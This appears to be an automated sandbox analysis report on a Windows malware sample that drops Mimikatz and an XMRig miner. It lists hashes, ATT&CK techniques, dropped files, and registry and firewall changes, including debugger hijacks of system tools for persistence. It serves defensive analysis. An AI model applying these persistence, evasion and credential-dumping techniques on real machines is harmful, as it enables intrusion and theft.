mimikatz | 42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5e

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
15-10-2024 12:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe
Size

9.4MB
MD5

9ad34c88530eee979ed4f7ecdac785e0
SHA1

0584974d7924e02d2700fc5caf3f5a97f084135b
SHA256

42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5e
SHA512

3e9b6e46d215c89a8e352f5fa3d95aa582b979995fedfb161865864bd894358b16b0a27958373a7240a677a27f530eeba4bf626e3f4106b5dc1204aed0ee7432
SSDEEP

196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

wuvtyst.exe

description	pid	Process	procid_target
PID 580 created 1028	580	wuvtyst.exe	17

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 7 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/1392-192-0x000000013FD30000-0x000000013FE50000-memory.dmp	xmrig
behavioral1/memory/1392-200-0x000000013FD30000-0x000000013FE50000-memory.dmp	xmrig
behavioral1/memory/1392-234-0x000000013FD30000-0x000000013FE50000-memory.dmp	xmrig
behavioral1/memory/1392-236-0x000000013FD30000-0x000000013FE50000-memory.dmp	xmrig
behavioral1/memory/1392-237-0x000000013FD30000-0x000000013FE50000-memory.dmp	xmrig
behavioral1/memory/1392-242-0x000000013FD30000-0x000000013FE50000-memory.dmp	xmrig
behavioral1/memory/1392-255-0x000000013FD30000-0x000000013FE50000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 7 IoCs

Processes:

resource	yara_rule
behavioral1/memory/840-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral1/memory/840-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral1/files/0x0008000000016d3e-8.dat	mimikatz
behavioral1/memory/2896-9-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral1/memory/1524-138-0x000000013F120000-0x000000013F20E000-memory.dmp	mimikatz
behavioral1/memory/580-165-0x0000000002CC0000-0x0000000002DE0000-memory.dmp	mimikatz
behavioral1/memory/580-191-0x0000000002CC0000-0x0000000002DE0000-memory.dmp	mimikatz

Contacts a large (1035) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Drops file in Drivers directory 2 IoCs

Processes:

wuvtyst.exewpcap.exe

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	wuvtyst.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

wuvtyst.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	wuvtyst.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	wuvtyst.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

Processes:

netsh.exenetsh.exe

pid	Process
2396	netsh.exe
2832	netsh.exe

Executes dropped EXE 18 IoCs

Processes:

wuvtyst.exewuvtyst.exewpcap.exebydmpgmtu.exevfshost.exexohudmc.exedqljao.exeaibzbbvzt.exetbfbrq.exeaibzbbvzt.exeaibzbbvzt.exeaibzbbvzt.exeaibzbbvzt.exeaibzbbvzt.exeaibzbbvzt.exeaibzbbvzt.exewuvtyst.exetwqzgiyri.exe

pid	Process
2896	wuvtyst.exe
580	wuvtyst.exe
2408	wpcap.exe
1420	bydmpgmtu.exe
1524	vfshost.exe
1012	xohudmc.exe
352	dqljao.exe
1324	aibzbbvzt.exe
1392	tbfbrq.exe
2420	aibzbbvzt.exe
2452	aibzbbvzt.exe
2608	aibzbbvzt.exe
2008	aibzbbvzt.exe
2488	aibzbbvzt.exe
2012	aibzbbvzt.exe
1016	aibzbbvzt.exe
2968	wuvtyst.exe
2140	twqzgiyri.exe

Loads dropped DLL 25 IoCs

Processes:

cmd.execmd.exewpcap.execmd.exebydmpgmtu.execmd.exewuvtyst.execmd.exe

pid	Process
1632	cmd.exe
1632	cmd.exe
1256	cmd.exe
2408	wpcap.exe
2408	wpcap.exe
2408	wpcap.exe
2408	wpcap.exe
2408	wpcap.exe
1604	cmd.exe
1420	bydmpgmtu.exe
1420	bydmpgmtu.exe
1660	cmd.exe
1660	cmd.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
580	wuvtyst.exe
1888	cmd.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
18	ifconfig.me
19	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 12 IoCs

Processes:

wpcap.exexohudmc.exewuvtyst.exe

description	ioc	Process
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\dqljao.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	wuvtyst.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BB4F4B8E2B2CFC476849B6B724C153FF	wuvtyst.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\dqljao.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	wuvtyst.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BB4F4B8E2B2CFC476849B6B724C153FF	wuvtyst.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	wuvtyst.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/files/0x000500000001a427-132.dat	upx
behavioral1/memory/1524-136-0x000000013F120000-0x000000013F20E000-memory.dmp	upx
behavioral1/memory/1524-138-0x000000013F120000-0x000000013F20E000-memory.dmp	upx
behavioral1/memory/1324-162-0x000000013F030000-0x000000013F08B000-memory.dmp	upx
behavioral1/files/0x000500000001a4b0-161.dat	upx
behavioral1/files/0x000500000001a48f-163.dat	upx
behavioral1/memory/580-165-0x0000000002CC0000-0x0000000002DE0000-memory.dmp	upx
behavioral1/memory/1392-167-0x000000013FD30000-0x000000013FE50000-memory.dmp	upx
behavioral1/memory/1324-173-0x000000013F030000-0x000000013F08B000-memory.dmp	upx
behavioral1/memory/2420-179-0x000000013F280000-0x000000013F2DB000-memory.dmp	upx
behavioral1/memory/2420-181-0x000000013F280000-0x000000013F2DB000-memory.dmp	upx
behavioral1/memory/580-185-0x0000000001A20000-0x0000000001A7B000-memory.dmp	upx
behavioral1/memory/2452-189-0x000000013FAF0000-0x000000013FB4B000-memory.dmp	upx
behavioral1/memory/1392-192-0x000000013FD30000-0x000000013FE50000-memory.dmp	upx
behavioral1/memory/580-195-0x0000000001A20000-0x0000000001A7B000-memory.dmp	upx
behavioral1/memory/2608-198-0x000000013FAF0000-0x000000013FB4B000-memory.dmp	upx
behavioral1/memory/1392-200-0x000000013FD30000-0x000000013FE50000-memory.dmp	upx
behavioral1/memory/2008-204-0x000000013F550000-0x000000013F5AB000-memory.dmp	upx
behavioral1/memory/2008-206-0x000000013F550000-0x000000013F5AB000-memory.dmp	upx
behavioral1/memory/2488-213-0x000000013F210000-0x000000013F26B000-memory.dmp	upx
behavioral1/memory/2488-215-0x000000013F210000-0x000000013F26B000-memory.dmp	upx
behavioral1/memory/2012-221-0x000000013FA70000-0x000000013FACB000-memory.dmp	upx
behavioral1/memory/2012-223-0x000000013FA70000-0x000000013FACB000-memory.dmp	upx
behavioral1/memory/1016-230-0x000000013F190000-0x000000013F1EB000-memory.dmp	upx
behavioral1/memory/1016-232-0x000000013F190000-0x000000013F1EB000-memory.dmp	upx
behavioral1/memory/1392-234-0x000000013FD30000-0x000000013FE50000-memory.dmp	upx
behavioral1/memory/1392-236-0x000000013FD30000-0x000000013FE50000-memory.dmp	upx
behavioral1/memory/1392-237-0x000000013FD30000-0x000000013FE50000-memory.dmp	upx
behavioral1/memory/1392-242-0x000000013FD30000-0x000000013FE50000-memory.dmp	upx
behavioral1/memory/1392-255-0x000000013FD30000-0x000000013FE50000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

Processes:

wuvtyst.exe42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exetwqzgiyri.execmd.exe

description	ioc	Process
File opened for modification	C:\Windows\iynwritg\svschost.xml	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\Shellcode.ini	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\AppCapture64.dll	wuvtyst.exe
File created	C:\Windows\iynwritg\wuvtyst.exe	42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe
File opened for modification	C:\Windows\gkbbgrnbe\biutbfmlw\Packet.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\biutbfmlw\wpcap.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\coli-0.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\svschost.exe	wuvtyst.exe
File opened for modification	C:\Windows\iynwritg\spoolsrv.xml	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\posh-0.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\ssleay32.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\docmicfg.exe	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\spoolsrv.xml	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\docmicfg.xml	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\crli-0.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\libeay32.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\trfo-2.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\vimpcsvc.xml	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\schoedcl.xml	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\Corporate\mimidrv.sys	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\vimpcsvc.exe	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\schoedcl.exe	wuvtyst.exe
File created	C:\Windows\ime\wuvtyst.exe	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\biutbfmlw\scan.bat	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\biutbfmlw\twqzgiyri.exe	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\libxml2.dll	wuvtyst.exe
File created	C:\Windows\iynwritg\docmicfg.xml	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\biutbfmlw\Packet.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\exma-1.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\biutbfmlw\ip.txt	wuvtyst.exe
File opened for modification	C:\Windows\iynwritg\wuvtyst.exe	42a10d8edddb7960807080da2cb9f8700e1ff90c7e8068962065222203313b5eN.exe
File created	C:\Windows\gkbbgrnbe\biutbfmlw\bydmpgmtu.exe	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\zlib1.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\vimpcsvc.xml	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\AppCapture32.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\trch-1.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\xdvl-0.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\spoolsrv.exe	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\Corporate\mimilib.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\schoedcl.xml	wuvtyst.exe
File opened for modification	C:\Windows\iynwritg\docmicfg.xml	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\docmicfg.xml	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\upbdrjv\swrpwe.exe	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\ucl.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\svschost.xml	wuvtyst.exe
File created	C:\Windows\iynwritg\vimpcsvc.xml	wuvtyst.exe
File opened for modification	C:\Windows\iynwritg\vimpcsvc.xml	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\Corporate\vfshost.exe	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\tibe-2.dll	wuvtyst.exe
File created	C:\Windows\iynwritg\schoedcl.xml	wuvtyst.exe
File opened for modification	C:\Windows\gkbbgrnbe\biutbfmlw\Result.txt	twqzgiyri.exe
File created	C:\Windows\gkbbgrnbe\biutbfmlw\wpcap.exe	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\cnli-1.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\spoolsrv.xml	wuvtyst.exe
File opened for modification	C:\Windows\iynwritg\schoedcl.xml	wuvtyst.exe
File opened for modification	C:\Windows\gkbbgrnbe\Corporate\log.txt	cmd.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\specials\tucl-1.dll	wuvtyst.exe
File created	C:\Windows\gkbbgrnbe\UnattendGC\svschost.xml	wuvtyst.exe
File created	C:\Windows\iynwritg\svschost.xml	wuvtyst.exe
File created	C:\Windows\iynwritg\spoolsrv.xml	wuvtyst.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid	Process
564	sc.exe
2456	sc.exe
2364	sc.exe
1460	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

